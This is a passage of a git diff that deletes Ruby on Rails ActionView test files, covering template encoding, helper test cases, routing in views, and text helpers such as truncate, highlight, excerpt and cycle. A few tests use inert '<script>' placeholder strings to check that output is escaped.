- @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", :virtual_path => nil)
- assert_equal Encoding::UTF_8, render.encoding
- assert_equal "hello \u{fc}mlat", render
- end
- end
-
- def test_error_when_template_isnt_valid_utf8
- assert_raises(ActionView::Template::Error, /\xFC/) do
- @template = new_template("hello \xFCmlat", :virtual_path => nil)
- render
- end
- end
-
- def with_external_encoding(encoding)
- old = Encoding.default_external
- Encoding::Converter.new old, encoding if old != encoding
- silence_warnings { Encoding.default_external = encoding }
- yield
- ensure
- silence_warnings { Encoding.default_external = old }
- end
-end
diff --git a/actionpack/test/template/test_case_test.rb b/actionpack/test/template/test_case_test.rb
deleted file mode 100644
index c7231d9cd5..0000000000
--- a/actionpack/test/template/test_case_test.rb
+++ /dev/null
@@ -1,346 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-module ActionView
-
- module ATestHelper
- end
-
- module AnotherTestHelper
- def from_another_helper
- 'Howdy!'
- end
- end
-
- module ASharedTestHelper
- def from_shared_helper
- 'Holla!'
- end
- end
-
- class TestCase
- helper ASharedTestHelper
-
- module SharedTests
- def self.included(test_case)
- test_case.class_eval do
- test "helpers defined on ActionView::TestCase are available" do
- assert test_case.ancestors.include?(ASharedTestHelper)
- assert_equal 'Holla!', from_shared_helper
- end
- end
- end
- end
- end
-
- class GeneralViewTest < ActionView::TestCase
- include SharedTests
- test_case = self
-
- test "memoizes the view" do
- assert_same view, view
- end
-
- test "exposes view as _view for backwards compatibility" do
- assert_same _view, view
- end
-
- test "retrieve non existing config values" do
- assert_equal nil, ActionView::Base.new.config.something_odd
- end
-
- test "works without testing a helper module" do
- assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
- end
-
- test "can render a layout with block" do
- assert_equal "Before (ChrisCruft)\n!\nAfter",
- render(:layout => "test/layout_for_partial", :locals => {:name => "ChrisCruft"}) {"!"}
- end
-
- helper AnotherTestHelper
- test "additional helper classes can be specified as in a controller" do
- assert test_case.ancestors.include?(AnotherTestHelper)
- assert_equal 'Howdy!', from_another_helper
- end
-
- test "determine_default_helper_class returns nil if the test name constant resolves to a class" do
- assert_nil self.class.determine_default_helper_class("String")
- end
-
- test "delegates notice to request.flash[:notice]" do
- view.request.flash.expects(:[]).with(:notice)
- view.notice
- end
-
- test "delegates alert to request.flash[:alert]" do
- view.request.flash.expects(:[]).with(:alert)
- view.alert
- end
-
- test "uses controller lookup context" do
- assert_equal self.lookup_context, @controller.lookup_context
- end
- end
-
- class ClassMethodsTest < ActionView::TestCase
- include SharedTests
- test_case = self
-
- tests ATestHelper
- test "tests the specified helper module" do
- assert_equal ATestHelper, test_case.helper_class
- assert test_case.ancestors.include?(ATestHelper)
- end
-
- helper AnotherTestHelper
- test "additional helper classes can be specified as in a controller" do
- assert test_case.ancestors.include?(AnotherTestHelper)
- assert_equal 'Howdy!', from_another_helper
-
- test_case.helper_class.module_eval do
- def render_from_helper
- from_another_helper
- end
- end
- assert_equal 'Howdy!', render(:partial => 'test/from_helper')
- end
- end
-
- class HelperInclusionTest < ActionView::TestCase
- module RenderHelper
- def render_from_helper
- render :partial => 'customer', :collection => @customers
- end
- end
-
- helper RenderHelper
-
- test "helper class that is being tested is always included in view instance" do
- @controller.controller_path = 'test'
-
- @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
- assert_match(/Hello: EloyHello: Manfred/, render(:partial => 'test/from_helper'))
- end
- end
-
- class ControllerHelperMethod < ActionView::TestCase
- module SomeHelper
- def some_method
- render :partial => 'test/from_helper'
- end
- end
-
- helper SomeHelper
-
- test "can call a helper method defined on the current controller from a helper" do
- @controller.singleton_class.class_eval <<-EOF, __FILE__, __LINE__ + 1
- def render_from_helper
- 'controller_helper_method'
- end
- EOF
- @controller.class.helper_method :render_from_helper
-
- assert_equal 'controller_helper_method', some_method
- end
- end
-
- class ViewAssignsTest < ActionView::TestCase
- test "view_assigns returns a Hash of user defined ivars" do
- @a = 'b'
- @c = 'd'
- assert_equal({:a => 'b', :c => 'd'}, view_assigns)
- end
-
- test "view_assigns excludes internal ivars" do
- INTERNAL_IVARS.each do |ivar|
- assert defined?(ivar), "expected #{ivar} to be defined"
- assert !view_assigns.keys.include?(ivar.to_s.sub('@', '').to_sym), "expected #{ivar} to be excluded from view_assigns"
- end
- end
- end
-
- class HelperExposureTest < ActionView::TestCase
- helper(Module.new do
- def render_from_helper
- from_test_case
- end
- end)
- test "is able to make methods available to the view" do
- assert_equal 'Word!', render(:partial => 'test/from_helper')
- end
-
- def from_test_case; 'Word!'; end
- helper_method :from_test_case
- end
-
- class IgnoreProtectAgainstForgeryTest < ActionView::TestCase
- module HelperThatInvokesProtectAgainstForgery
- def help_me
- protect_against_forgery?
- end
- end
-
- helper HelperThatInvokesProtectAgainstForgery
-
- test "protect_from_forgery? in any helpers returns false" do
- assert !view.help_me
- end
-
- end
-
- class ATestHelperTest < ActionView::TestCase
- include SharedTests
- test_case = self
-
- test "inflects the name of the helper module to test from the test case class" do
- assert_equal ATestHelper, test_case.helper_class
- assert test_case.ancestors.include?(ATestHelper)
- end
-
- test "a configured test controller is available" do
- assert_kind_of ActionController::Base, controller
- assert_equal '', controller.controller_path
- end
-
- test "no additional helpers should shared across test cases" do
- assert !test_case.ancestors.include?(AnotherTestHelper)
- assert_raise(NoMethodError) { send :from_another_helper }
- end
-
- test "is able to use routes" do
- controller.request.assign_parameters(@routes, 'foo', 'index')
- assert_equal '/foo', url_for
- assert_equal '/bar', url_for(:controller => 'bar')
- end
-
- test "is able to use named routes" do
- with_routing do |set|
- set.draw { resources :contents }
- assert_equal 'http://test.host/contents/new', new_content_url
- assert_equal 'http://test.host/contents/1', content_url(:id => 1)
- end
- end
-
- test "is able to use mounted routes" do
- with_routing do |set|
- app = Class.new do
- def self.routes
- @routes ||= ActionDispatch::Routing::RouteSet.new
- end
-
- routes.draw { get "bar", :to => lambda {} }
-
- def self.call(*)
- end
- end
-
- set.draw { mount app => "/foo", :as => "foo_app" }
-
- assert_equal '/foo/bar', foo_app.bar_path
- end
- end
-
- test "named routes can be used from helper included in view" do
- with_routing do |set|
- set.draw { resources :contents }
- _helpers.module_eval do
- def render_from_helper
- new_content_url
- end
- end
-
- assert_equal 'http://test.host/contents/new', render(:partial => 'test/from_helper')
- end
- end
-
- test "is able to render partials with local variables" do
- assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
- assert_equal 'Eloy', render(:partial => 'developers/developer',
- :locals => { :developer => stub(:name => 'Eloy') })
- end
-
- test "is able to render partials from templates and also use instance variables" do
- @controller.controller_path = "test"
-
- @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
- assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
- end
-
- test "is able to render partials from templates and also use instance variables after view has been referenced" do
- @controller.controller_path = "test"
-
- view
-
- @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
- assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
- end
-
- end
-
- class AssertionsTest < ActionView::TestCase
- def render_from_helper
- form_tag('/foo') do
- safe_concat render(:text => '<ul><li>foo</li></ul>')
- end
- end
- helper_method :render_from_helper
-
- test "uses the output_buffer for assert_select" do
- render(:partial => 'test/from_helper')
-
- assert_select 'form' do
- assert_select 'li', :text => 'foo'
- end
- end
- end
-
- class RenderTemplateTest < ActionView::TestCase
- test "supports specifying templates with a Regexp" do
- controller.controller_path = "fun"
- render(:template => "fun/games/hello_world")
- assert_template %r{\Afun/games/hello_world\Z}
- end
-
- test "supports specifying partials" do
- controller.controller_path = "test"
- render(:template => "test/calling_partial_with_layout")
- assert_template :partial => "_partial_for_use_in_layout"
- end
-
- test "supports specifying locals (passing)" do
- controller.controller_path = "test"
- render(:template => "test/calling_partial_with_layout")
- assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "David" }
- end
-
- test "supports specifying locals (failing)" do
- controller.controller_path = "test"
- render(:template => "test/calling_partial_with_layout")
- assert_raise ActiveSupport::TestCase::Assertion, /Somebody else.*David/m do
- assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "Somebody Else" }
- end
- end
-
- test 'supports different locals on the same partial' do
- controller.controller_path = "test"
- render(:template => "test/render_two_partials")
- assert_template partial: '_partial', locals: { 'first' => '1' }
- assert_template partial: '_partial', locals: { 'second' => '2' }
- end
-
- end
-
- module AHelperWithInitialize
- def initialize(*)
- super
- @called_initialize = true
- end
- end
-
- class AHelperWithInitializeTest < ActionView::TestCase
- test "the helper's initialize was actually called" do
- assert @called_initialize
- end
- end
-end
diff --git a/actionpack/test/template/test_test.rb b/actionpack/test/template/test_test.rb
deleted file mode 100644
index e843a1deb4..0000000000
--- a/actionpack/test/template/test_test.rb
+++ /dev/null
@@ -1,136 +0,0 @@
-require 'abstract_unit'
-
-module PeopleHelper
- def title(text)
- content_tag(:h1, text)
- end
-
- def homepage_path
- people_path
- end
-
- def homepage_url
- people_url
- end
-
- def link_to_person(person)
- link_to person.name, person
- end
-end
-
-class PeopleHelperTest < ActionView::TestCase
- def test_title
- assert_equal "<h1>Ruby on Rails</h1>", title("Ruby on Rails")
- end
-
- def test_homepage_path
- with_test_route_set do
- assert_equal "/people", homepage_path
- end
- end
-
- def test_homepage_url
- with_test_route_set do
- assert_equal "http://test.host/people", homepage_url
- end
- end
-
- def test_link_to_person
- with_test_route_set do
- person = mock(:name => "David")
- person.class.extend ActiveModel::Naming
- expects(:mocha_mock_path).with(person).returns("/people/1")
- assert_equal '<a href="/people/1">David</a>', link_to_person(person)
- end
- end
-
- private
- def with_test_route_set
- with_routing do |set|
- set.draw do
- get 'people', :to => 'people#index', :as => :people
- end
- yield
- end
- end
-end
-
-class CrazyHelperTest < ActionView::TestCase
- tests PeopleHelper
-
- def test_helper_class_can_be_set_manually_not_just_inferred
- assert_equal PeopleHelper, self.class.helper_class
- end
-end
-
-class CrazySymbolHelperTest < ActionView::TestCase
- tests :people
-
- def test_set_helper_class_using_symbol
- assert_equal PeopleHelper, self.class.helper_class
- end
-end
-
-class CrazyStringHelperTest < ActionView::TestCase
- tests 'people'
-
- def test_set_helper_class_using_string
- assert_equal PeopleHelper, self.class.helper_class
- end
-end
-
-describe PeopleHelper do
- it "resolves the right helper_class" do
- assert_equal PeopleHelper, self.class.helper_class
- end
-end
-
-describe PeopleHelper, :helper_class do
- it "resolves the right helper_class" do
- assert_equal PeopleHelper, self.class.helper_class
- end
-end
-
-describe PeopleHelper do
- describe "even while nested" do
- it "resolves the right helper_class" do
- assert_equal PeopleHelper, self.class.helper_class
- end
- end
-end
-
-describe PeopleHelper, :helper_class do
- describe "even while nested" do
- it "resolves the right helper_class" do
- assert_equal PeopleHelper, self.class.helper_class
- end
- end
-end
-
-describe "PeopleHelper" do
- it "resolves the right helper_class" do
- assert_equal PeopleHelper, self.class.helper_class
- end
-end
-
-describe "PeopleHelperTest" do
- it "resolves the right helper_class" do
- assert_equal PeopleHelper, self.class.helper_class
- end
-end
-
-describe "PeopleHelper" do
- describe "even while nested" do
- it "resolves the right helper_class" do
- assert_equal PeopleHelper, self.class.helper_class
- end
- end
-end
-
-describe "PeopleHelperTest" do
- describe "even while nested" do
- it "resolves the right helper_class" do
- assert_equal PeopleHelper, self.class.helper_class
- end
- end
-end
diff --git a/actionpack/test/template/testing/fixture_resolver_test.rb b/actionpack/test/template/testing/fixture_resolver_test.rb
deleted file mode 100644
index 9649f349cb..0000000000
--- a/actionpack/test/template/testing/fixture_resolver_test.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'abstract_unit'
-
-class FixtureResolverTest < ActiveSupport::TestCase
- def test_should_return_empty_list_for_unknown_path
- resolver = ActionView::FixtureResolver.new()
- templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => []})
- assert_equal [], templates, "expected an empty list of templates"
- end
-
- def test_should_return_template_for_declared_path
- resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
- templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
- assert_equal 1, templates.size, "expected one template"
- assert_equal "this text", templates.first.source
- assert_equal "arbitrary/path", templates.first.virtual_path
- assert_equal [:html], templates.first.formats
- end
-end
diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb
deleted file mode 100644
index 412d13bb2b..0000000000
--- a/actionpack/test/template/text_helper_test.rb
+++ /dev/null
@@ -1,467 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-
-class TextHelperTest < ActionView::TestCase
- tests ActionView::Helpers::TextHelper
-
- def setup
- super
- # This simulates the fact that instance variables are reset every time
- # a view is rendered. The cycle helper depends on this behavior.
- @_cycles = nil if (defined? @_cycles)
- end
-
- def test_concat
- self.output_buffer = 'foo'
- assert_equal 'foobar', concat('bar')
- assert_equal 'foobar', output_buffer
- end
-
- def test_simple_format_should_be_html_safe
- assert simple_format("<b> test with html tags </b>").html_safe?
- end
-
- def test_simple_format
- assert_equal "<p></p>", simple_format(nil)
-
- assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
- assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
- assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
-
- text = "A\nB\nC\nD".freeze
- assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
-
- text = "A\r\n \nB\n\n\r\n\t\nC\nD".freeze
- assert_equal "<p>A\n<br /> \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
-
- assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test')
- assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test')
- end
-
- def test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false
- assert_equal "<p><b> test with unsafe string </b></p>", simple_format("<b> test with unsafe string </b><script>code!</script>")
- end
-
- def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
- assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
- end
-
- def test_simple_format_with_custom_wrapper
- assert_equal "<div></div>", simple_format(nil, {}, :wrapper_tag => "div")
- end
-
- def test_simple_format_with_custom_wrapper_and_multi_line_breaks
- assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, :wrapper_tag => "div")
- end
-
- def test_simple_format_should_not_change_the_text_passed
- text = "<b>Ok</b><script>code!</script>"
- text_clone = text.dup
- simple_format(text)
- assert_equal text_clone, text
- end
-
- def test_simple_format_does_not_modify_the_html_options_hash
- options = { :class => "foobar"}
- passed_options = options.dup
- simple_format("some text", passed_options)
- assert_equal options, passed_options
- end
-
- def test_simple_format_does_not_modify_the_options_hash
- options = { :wrapper_tag => :div, :sanitize => false }
- passed_options = options.dup
- simple_format("some text", {}, passed_options)
- assert_equal options, passed_options
- end
-
- def test_truncate
- assert_equal "Hello World!", truncate("Hello World!", :length => 12)
- assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12)
- end
-
- def test_truncate_should_use_default_length_of_30
- str = "This is a string that will go longer then the default truncate length of 30"
- assert_equal str[0...27] + "...", truncate(str)
- end
-
- def test_truncate_with_options_hash
- assert_equal "This is a string that wil[...]", truncate("This is a string that will go longer then the default truncate length of 30", :omission => "[...]")
- assert_equal "Hello W...", truncate("Hello World!", :length => 10)
- assert_equal "Hello[...]", truncate("Hello World!", :omission => "[...]", :length => 10)
- assert_equal "Hello[...]", truncate("Hello Big World!", :omission => "[...]", :length => 13, :separator => ' ')
- assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 14, :separator => ' ')
- assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 15, :separator => ' ')
- end
-
- def test_truncate_multibyte
- assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding('UTF-8'),
- truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding('UTF-8'), :length => 10)
- end
-
- def test_truncate_does_not_modify_the_options_hash
- options = { :length => 10 }
- passed_options = options.dup
- truncate("some text", passed_options)
- assert_equal options, passed_options
- end
-
- def test_truncate_with_link_options
- assert_equal "Here is a long test and ...<a href=\"#\">Continue</a>",
- truncate("Here is a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
- end
-
- def test_truncate_should_be_html_safe
- assert truncate("Hello World!", :length => 12).html_safe?
- end
-
- def test_truncate_should_escape_the_input
- assert_equal "Hello &lt;sc...", truncate("Hello <script>code!</script>World!!", :length => 12)
- end
-
- def test_truncate_should_not_escape_the_input_with_escape_false
- assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
- end
-
- def test_truncate_with_escape_false_should_be_html_safe
- truncated = truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
- assert truncated.html_safe?
- end
-
- def test_truncate_with_block_should_be_html_safe
- truncated = truncate("Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
- assert truncated.html_safe?
- end
-
- def test_truncate_with_block_should_escape_the_input
- assert_equal "&lt;script&gt;code!&lt;/script&gt;He...<a href=\"#\">Continue</a>",
- truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
- end
-
- def test_truncate_with_block_should_not_escape_the_input_with_escape_false
- assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
- truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
- end
-
- def test_truncate_with_block_with_escape_false_should_be_html_safe
- truncated = truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
- assert truncated.html_safe?
- end
-
- def test_truncate_with_block_should_escape_the_block
- assert_equal "Here is a long test and ...&lt;script&gt;alert(&#39;foo&#39;);&lt;/script&gt;",
- truncate("Here is a long test and I need a continue to read link", :length => 27) { "<script>alert('foo');</script>" }
- end
-
- def test_highlight_should_be_html_safe
- assert highlight("This is a beautiful morning", "beautiful").html_safe?
- end
-
- def test_highlight
- assert_equal(
- "This is a <mark>beautiful</mark> morning",
- highlight("This is a beautiful morning", "beautiful")
- )
-
- assert_equal(
- "This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day",
- highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
- )
-
- assert_equal(
- "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
- highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
- )
-
- assert_equal(
- "This text is not changed because we supplied an empty phrase",
- highlight("This text is not changed because we supplied an empty phrase", nil)
- )
-
- assert_equal ' ', highlight(' ', 'blank text is returned verbatim')
- end
-
- def test_highlight_should_sanitize_input
- assert_equal(
- "This is a <mark>beautiful</mark> morning",
- highlight("This is a beautiful morning<script>code!</script>", "beautiful")
- )
- end
-
- def test_highlight_should_not_sanitize_if_sanitize_option_if_false
- assert_equal(
- "This is a <mark>beautiful</mark> morning<script>code!</script>",
- highlight("This is a beautiful morning<script>code!</script>", "beautiful", :sanitize => false)
- )
- end
-
- def test_highlight_with_regexp
- assert_equal(
- "This is a <mark>beautiful!</mark> morning",
- highlight("This is a beautiful! morning", "beautiful!")
- )
-
- assert_equal(
- "This is a <mark>beautiful! morning</mark>",
- highlight("This is a beautiful! morning", "beautiful! morning")
- )
-
- assert_equal(
- "This is a <mark>beautiful? morning</mark>",
- highlight("This is a beautiful? morning", "beautiful? morning")
- )
- end
-
- def test_highlight_with_multiple_phrases_in_one_pass
- assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), :highlighter => '<em>\1</em>')
- end
-
- def test_highlight_with_html
- assert_equal(
- "<p>This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
- highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
- )
- assert_equal(
- "<p>This is a <em><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> day</p>",
- highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
- )
- assert_equal(
- "<p>This is a <em class=\"error\"><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> <span class=\"last\">day</span></p>",
- highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
- )
- assert_equal(
- "<p class=\"beautiful\">This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
- highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
- )
- assert_equal(
- "<p>This is a <mark>beautiful</mark> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&amp;when=now+then\">morning</a>, but also a <mark>beautiful</mark> day</p>",
- highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
- )
- assert_equal(
- "<div>abc <b>div</b></div>",
- highlight("<div>abc div</div>", "div", :highlighter => '<b>\1</b>')
- )
- end
-
- def test_highlight_does_not_modify_the_options_hash
- options = { :highlighter => '<b>\1</b>', :sanitize => false }
- passed_options = options.dup
- highlight("<div>abc div</div>", "div", passed_options)
- assert_equal options, passed_options
- end
-
- def test_excerpt
- assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
- assert_equal("This is a...", excerpt("This is a beautiful morning", "this", :radius => 5))
- assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", :radius => 5))
- assert_nil excerpt("This is a beautiful morning", "day")
- end
-
- def test_excerpt_should_not_be_html_safe
- assert !excerpt('This is a beautiful! morning', 'beautiful', :radius => 5).html_safe?
- end
-
- def test_excerpt_in_borderline_cases
- assert_equal("", excerpt("", "", :radius => 0))
- assert_equal("a", excerpt("a", "a", :radius => 0))
- assert_equal("...b...", excerpt("abc", "b", :radius => 0))
- assert_equal("abc", excerpt("abc", "b", :radius => 1))
- assert_equal("abc...", excerpt("abcd", "b", :radius => 1))
- assert_equal("...abc", excerpt("zabc", "b", :radius => 1))
- assert_equal("...abc...", excerpt("zabcd", "b", :radius => 1))
- assert_equal("zabcd", excerpt("zabcd", "b", :radius => 2))
-
- # excerpt strips the resulting string before ap-/prepending excerpt_string.
- # whether this behavior is meaningful when excerpt_string is not to be
- # appended is questionable.
- assert_equal("zabcd", excerpt(" zabcd ", "b", :radius => 4))
- assert_equal("...abc...", excerpt("z abc d", "b", :radius => 1))
- end
-
- def test_excerpt_with_regex
- assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', :radius => 5))
- assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', :radius => 5))
- end
-
- def test_excerpt_with_omission
- assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
- assert_equal(
- "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
- excerpt("This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome temperatures. So what are you gonna do about it?", "very",
- :omission => "[...]")
- )
- end
-
- def test_excerpt_with_utf8
- assert_equal("...\357\254\203ciency could not be...".force_encoding('UTF-8'), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding('UTF-8'), 'could', :radius => 8))
- end
-
- def test_excerpt_does_not_modify_the_options_hash
- options = { :omission => "[...]",:radius => 5 }
- passed_options = options.dup
- excerpt("This is a beautiful morning", "beautiful", passed_options)
- assert_equal options, passed_options
- end
-
- def test_excerpt_with_separator
- options = { :separator => ' ', :radius => 1 }
- assert_equal('...a very beautiful...', excerpt('This is a very beautiful morning', 'very', options))
- assert_equal('This is...', excerpt('This is a very beautiful morning', 'this', options))
- assert_equal('...beautiful morning', excerpt('This is a very beautiful morning', 'morning', options))
-
- options = { :separator => "\n", :radius => 0 }
- assert_equal("...very long...", excerpt("my very\nvery\nvery long\nstring", 'long', options))
-
- options = { :separator => "\n", :radius => 1 }
- assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", 'long', options))
- end
-
- def test_word_wrap
- assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
- end
-
- def test_word_wrap_with_extra_newlines
- assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", :line_width => 15))
- end
-
- def test_word_wrap_does_not_modify_the_options_hash
- options = { :line_width => 15 }
- passed_options = options.dup
- word_wrap("some text", passed_options)
- assert_equal options, passed_options
- end
-
- def test_pluralization
- assert_equal("1 count", pluralize(1, "count"))
- assert_equal("2 counts", pluralize(2, "count"))
- assert_equal("1 count", pluralize('1', "count"))
- assert_equal("2 counts", pluralize('2', "count"))
- assert_equal("1,066 counts", pluralize('1,066', "count"))
- assert_equal("1.25 counts", pluralize('1.25', "count"))
- assert_equal("1.0 count", pluralize('1.0', "count"))
- assert_equal("1.00 count", pluralize('1.00', "count"))
- assert_equal("2 counters", pluralize(2, "count", "counters"))
- assert_equal("0 counters", pluralize(nil, "count", "counters"))
- assert_equal("2 people", pluralize(2, "person"))
- assert_equal("10 buffaloes", pluralize(10, "buffalo"))
- assert_equal("1 berry", pluralize(1, "berry"))
- assert_equal("12 berries", pluralize(12, "berry"))
- end
-
- def test_cycle_class
- value = Cycle.new("one", 2, "3")
- assert_equal("one", value.to_s)
- assert_equal("2", value.to_s)
- assert_equal("3", value.to_s)
- assert_equal("one", value.to_s)
- value.reset
- assert_equal("one", value.to_s)
- assert_equal("2", value.to_s)
- assert_equal("3", value.to_s)
- end
-
- def test_cycle_class_with_no_arguments
- assert_raise(ArgumentError) { Cycle.new }
- end
-
- def test_cycle
- assert_equal("one", cycle("one", 2, "3"))
- assert_equal("2", cycle("one", 2, "3"))
- assert_equal("3", cycle("one", 2, "3"))
- assert_equal("one", cycle("one", 2, "3"))
- assert_equal("2", cycle("one", 2, "3"))
- assert_equal("3", cycle("one", 2, "3"))
- end
-
- def test_cycle_with_no_arguments
- assert_raise(ArgumentError) { cycle }
- end
-
- def test_cycle_resets_with_new_values
- assert_equal("even", cycle("even", "odd"))
- assert_equal("odd", cycle("even", "odd"))
- assert_equal("even", cycle("even", "odd"))
- assert_equal("1", cycle(1, 2, 3))
- assert_equal("2", cycle(1, 2, 3))
- assert_equal("3", cycle(1, 2, 3))
- assert_equal("1", cycle(1, 2, 3))
- end
-
- def test_named_cycles
- assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
- assert_equal("red", cycle("red", "blue", :name => "colors"))
- assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
- assert_equal("blue", cycle("red", "blue", :name => "colors"))
- assert_equal("3", cycle(1, 2, 3, :name => "numbers"))
- assert_equal("red", cycle("red", "blue", :name => "colors"))
- end
-
- def test_current_cycle_with_default_name
- cycle("even","odd")
- assert_equal "even", current_cycle
- cycle("even","odd")
- assert_equal "odd", current_cycle
- cycle("even","odd")
- assert_equal "even", current_cycle
- end
-
- def test_current_cycle_with_named_cycles
- cycle("red", "blue", :name => "colors")
- assert_equal "red", current_cycle("colors")
- cycle("red", "blue", :name => "colors")
- assert_equal "blue", current_cycle("colors")
- cycle("red", "blue", :name => "colors")
- assert_equal "red", current_cycle("colors")
- end
-
- def test_current_cycle_safe_call
- assert_nothing_raised { current_cycle }
- assert_nothing_raised { current_cycle("colors") }
- end
-
- def test_current_cycle_with_more_than_two_names
- cycle(1,2,3)
- assert_equal "1", current_cycle
- cycle(1,2,3)
- assert_equal "2", current_cycle
- cycle(1,2,3)
- assert_equal "3", current_cycle
- cycle(1,2,3)
- assert_equal "1", current_cycle
- end
-
- def test_default_named_cycle
- assert_equal("1", cycle(1, 2, 3))
- assert_equal("2", cycle(1, 2, 3, :name => "default"))
- assert_equal("3", cycle(1, 2, 3))
- end
-
- def test_reset_cycle
- assert_equal("1", cycle(1, 2, 3))
- assert_equal("2", cycle(1, 2, 3))
- reset_cycle
- assert_equal("1", cycle(1, 2, 3))
- end
-
- def test_reset_unknown_cycle
- reset_cycle("colors")
- end
-
- def test_recet_named_cycle
- assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
- assert_equal("red", cycle("red", "blue", :name => "colors"))
- reset_cycle("numbers")
- assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
- assert_equal("blue", cycle("red", "blue", :name => "colors"))
- assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
- assert_equal("red", cycle("red", "blue", :name => "colors"))
- end
-
- def test_cycle_no_instance_variable_clashes
- @cycles = %w{Specialized Fuji Giant}
- assert_equal("red", cycle("red", "blue"))
- assert_equal("blue", cycle("red", "blue"))
- assert_equal("red", cycle("red", "blue"))
- assert_equal(%w{Specialized Fuji Giant}, @cycles)
- end
-end
diff --git a/actionpack/test/template/translation_helper_test.rb b/actionpack/test/template/translation_helper_test.rb
deleted file mode 100644
index d496dbb35e..0000000000
--- a/actionpack/test/template/translation_helper_test.rb
+++ /dev/null
@@ -1,138 +0,0 @@
-require 'abstract_unit'
-
-class TranslationHelperTest < ActiveSupport::TestCase
- include ActionView::Helpers::TagHelper
- include ActionView::Helpers::TranslationHelper
-
- attr_reader :request, :view
-
- def setup
